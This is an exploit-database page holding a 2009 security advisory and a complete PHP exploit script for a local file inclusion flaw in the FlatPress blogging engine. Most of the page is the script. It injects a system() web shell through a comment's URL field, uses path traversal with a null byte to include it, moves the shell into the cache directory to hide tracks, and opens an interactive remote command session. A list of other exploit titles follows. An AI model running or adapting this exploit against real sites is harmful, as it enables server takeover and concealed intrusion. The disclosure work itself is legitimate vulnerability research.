Menu

Search for hundreds of thousands of exploits

"Flatpress 0.804 < 0.812.1 - Local File Inclusion"

Author

Exploit author

"Giuseppe Fuggiano"

Platform

Exploit platform

php

Release date

Exploit published date

2009-09-29

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
Security Advisory
-----------------
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution


Researcher Information
----------------------
Discovered by: Giuseppe `Zmax` Fuggiano
Website: http://www.giusef.net
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com


Product Information
-------------------
FlatPress is an open-source standard-compliant multi-lingual
extensible blogging engine written in PHP by Edoardo Vacchi.

Website: http://www.flatpress.org


Vulnerability Description
-------------------------
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty
LFI vulnerability which can be exploited to have RCE (Remote Command
Execution). The piece of code involved is in the
fp-includes/core/core.users.php directory in the user_get() function
as showed below.

   function user_get($userid=null){
       if ($userid == null && ($user = user_loggedin())) {
           return $user;
       }
       if (file_exists($f = USERS_DIR . $userid.".php")) {
           include($f);

           return $user;
       }
   }

It is possible to create a crafted comment for an article, and inject
PHP code into the "web link" field, which is not properly validated.
Then, a remote attacker could use this code to execute shell commands
remotely, eventually hiding his own tracks (e.g. deleting the injected
comment).


Disclosure timeline
-------------------

DD/MM/YYYY

* 24/09/2009: Vulnerability discovery and analysis;
* 26/09/2009: The vendor was notificated via e-mail;
* 26/09/2009: Vendor response and a new release publicly available;
* 27/09/2009: The researcher starts coding the exploit;
* 29/09/2009: Exploit complete and tested.


Workaroud
---------
Update to the newer version 0.812.2


Shouts
------
Thank you (you-know-who) :-)


Exploit
-------
<?php
  /* Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>
   *
   * Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution
   *              vulnerability exploit (fp-includes/core/core.users.php).
   *              This code posts a crafted comment with a very simple
PHP shell.
   *              It exploits the LFI, hides the shell in the cache directory
   *              and starts a remote command session via POST.
   *
   * Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell]
   *         <host>:   the hostname or IP address of your target;
   *         <path>:   the path where FlatPress was installed;
   *         [action]: the action to take against the host system
(test, attack);
   *         [lang]:   the remote language used (en, it);";
   *         [shell]:  if already exploited, you could just have the shell name.
   *
   * Dependencies: php5-curl.
   *
   * Examples:
   *   php fp-lfi2rce.php www.example.com /
      => will test
   *   php fp-lfi2rce.php www.example.com /blog attack
      => will attack
   *   php fp-lfi2rce.php www.example.com /flatpress attack en
12345678.php  => start remote session
   */

  /* GET request, returns the page */
  function get_url_contents($crl, $url)
  {
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
    $ret = curl_exec($crl);

    return $ret;
  }

  /* POST request */
  function post_url_fields($crl, $url, $fields)
  {
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($crl, CURLOPT_POST, 1);
    curl_setopt($crl, CURLOPT_POSTFIELDS, $fields);
    curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
    $ret = curl_exec($crl);

    return $ret;
  }

  /* Execute remote command, returns the output */
  function fp_exec($crl, $sh, $cmd)
  {
    $ret = post_url_fields($crl, $sh, "c=$cmd");

    if ($ret) {
      $pos1 = strpos($ret, 'http://www.aaa') + 14;
      $pos2 = strpos($ret, 'aaa.com', $pos1);
      $result = substr($ret, $pos1, $pos2-$pos1);
      return $result;
    } else
      return false;
  }

  /* Starts a remote command session */
  function fp_shell($crl, $sh)
  {
    echo "\nStarting remote command session, type 'quit' or 'exit' to exit.\n";

    echo "\nremote> ";
    $line = trim(fgets(STDIN));

    while (($line != 'exit') && ($line != 'quit')) {
      if ($line != "") {
        if ($ret = fp_exec($crl, $sh, $line)) {
          echo "\n$ret";
        } else
          echo "\nError.\n";
      }
      echo "\nremote> ";
      $line = trim(fgets(STDIN));
    }
  }

  function fail($crl, $str)
  {
    curl_close($crl);

    die($str);
  }

  echo "\n Author: Giuseppe `Zmax` Fuggiano
<giuseppe(dot)fuggiano(at)gmail(dot)com>\n";
  echo "\n";
  echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution\n";
  echo "              vulnerability exploit
(fp-includes/core/core.users.php).\n";
  echo "              This code posts a crafted comment with a very
simple PHP shell.\n";
  echo "              It exploits the LFI, hides the shell in the
cache directory\n";
  echo "              and starts a remote command session via POST.\n";
  echo "\n";
  echo " Syntax: $argv[0] <host> <path> [action] [lang] [shell]\n";
  echo "         <host>:   the hostname or IP address of your target;\n";
  echo "         <path>:   the path where FlatPress was installed;\n";
  echo "         [action]: the action to take against the host system
(test, attack);\n";
  echo "         [lang]:   the remote language used (en, it);\n";
  echo "         [shell]:  if already exploited, you could just have
the shell name.\n";
  echo "\n";
  echo " Examples:\n";
  echo "         php $argv[0] www.example.com /
          => will test\n";
  echo "         php $argv[0] www.example.com /blog attack
          => will attack\n";
  echo "         php $argv[0] www.example.com /flatpress attack en
12345678.php  => start remote session\n\n";

  $crl = curl_init();

  if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h')
    die();

  $HOST = $argv[1];
  $PATH = $argv[2];

  if (isset($argv[3]))
    $ACTION = $argv[3];
  else
    $ACTION = 'test';

  if (isset($argv[4]))
    $LANG = $argv[4];
  else
    $LANG = 'en';

  switch ($LANG) {
    case 'it':
      $LANGARRAY = array('aaspam'   => 'Per prevenire abusi del
sistema di commenti, ' .
                                       'ti chiediamo di scrivere il
risultato di ' .
                                       'questa semplice operazione matematica',
                         'sum'      => 'sommare',
                         'subtract' => 'togli');
      break;
    default: /* en */
      $LANGARRAY = array('aaspam'   => 'As a way to prevent abuses of
this commenting system, ' .
                                       'we must ask you to give the
result of this simple ' .
                                       'mathematical operation',
                         'sum'      => 'sum',
                         'subtract' => 'subtract');
      break;
  }

  if (isset($argv[5])) {
    $SHELL = $argv[5];
    fp_shell($crl, "fp-content/cache/$SHELL");
    curl_close($crl);
    exit();
  } else
    $SHELL = 'unknown';

  echo " Host: $HOST\n";
  echo " Path: $PATH\n";
  echo " Lang: $LANG\n";
  echo " Shell: $SHELL\n\n";

  echo " [+] Vulnerability test: ";

  $form = "user=../../admin&pass=".rand()."&submit=Login";
  $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

  if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false)
    echo "vulnerable!\n\n";
  else
    fail($crl, "NOT vulnerable!\n\n");

  if ($ACTION == "test") {
    curl_close($crl);
    exit();
  }

  echo " [+] Creating the shell\n";
  echo "     * Getting the home page: ";

  $home = get_url_contents($crl, "$HOST/$PATH/");

  if (strpos($home, '<meta name="generator" content="FlatPress'))
    echo "ok\n";
  else
    fail($crl, "FAIL!\n\n");

  echo "     * Detecting an article: ";

  $entrypos = strpos($home, "x=entry:entry") + 8;

  if ($entrypos) {
    $entry = substr($home, $entrypos, 18);
    echo "$entry\n";
  } else
    fail($crl, "FAIL!\n\n");

  echo "     * Getting the comment page: ";

  $commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

  if (strpos($commentpage, 'id="comment-userdata"'))
    echo "ok\n";
  else
    fail($crl, "FAIL!\n\n");

  echo "     * Solving the math operation: ";

  $mathpos = strpos($commentpage, $LANGARRAY['aaspam']) +
strlen($LANGARRAY['aaspam']);
  $mathpos = strpos($commentpage, "strong", $mathpos) + strlen("strong>");
  $mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos);
  $operation = strtok($mathstr, " ");

  switch ($operation) {
    case $LANGARRAY['sum']:
      $first = strtok(' ');
      $to = strtok(' ');
      $second = strtok(' ');
      $result = $first + $second;
      break;
    case $LANGARRAY['subtract']:
      $first = strtok(' ');
      $from = strtok(' ');
      $second = strtok(' ');
      $result = $second - $first;
      break;
    case (is_numeric($operation) ? $operation : ""):
      $first = $operation;
      $times = strtok(' ');
      $second = strtok(' ');
      $result = $first * $second;
      break;
    default:
      fail($crl, "FAIL!\n\n");
  }

  echo "$result\n";

  echo "     * Posting crafted comment...\n";

  $random = rand();
  $form = 'name='.$random.'&email=fake@fake.com&url=http://www.aaa\<?system($_POST[\'c\']);?\>aaa.com'
.
          '&aaspam='.$result.'&content=foo&submit=Add';

  post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form);
  $commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

  echo "     * Searching comment name: ";

  if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",
                     $commentpage, $comments, PREG_PATTERN_ORDER)) {
      $commententry = end($comments[0]);
      echo "$commententry\n";
  } else
    fail($crl, "FAIL!\n\n");

  $year = substr($entry, 5, 2);
  $month = substr($entry, 7, 2);
  $commentpath = "content/$year/$month/$entry/comments/$commententry.txt";

  echo "     * Hiding tracks: ";

  $SHELL = rand().'.php';

  $form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .
          "&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";

  $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

  if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) {
    echo "ok\n\n";
    echo " [+] Your shell: fp-content/cache/$SHELL\n";
  } else
    fail($crl, "FAIL!\n\n");

  fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");

  curl_close($crl);

  exit();
?>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2009-10-01 "EMC Captiva PixTools 2.2 Distributed Imaging - ActiveX Control Multiple Insecure Method Vulnerabilities" remote windows "Giuseppe Fuggiano"
2009-09-29 "Flatpress 0.804 < 0.812.1 - Local File Inclusion" webapps php "Giuseppe Fuggiano"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.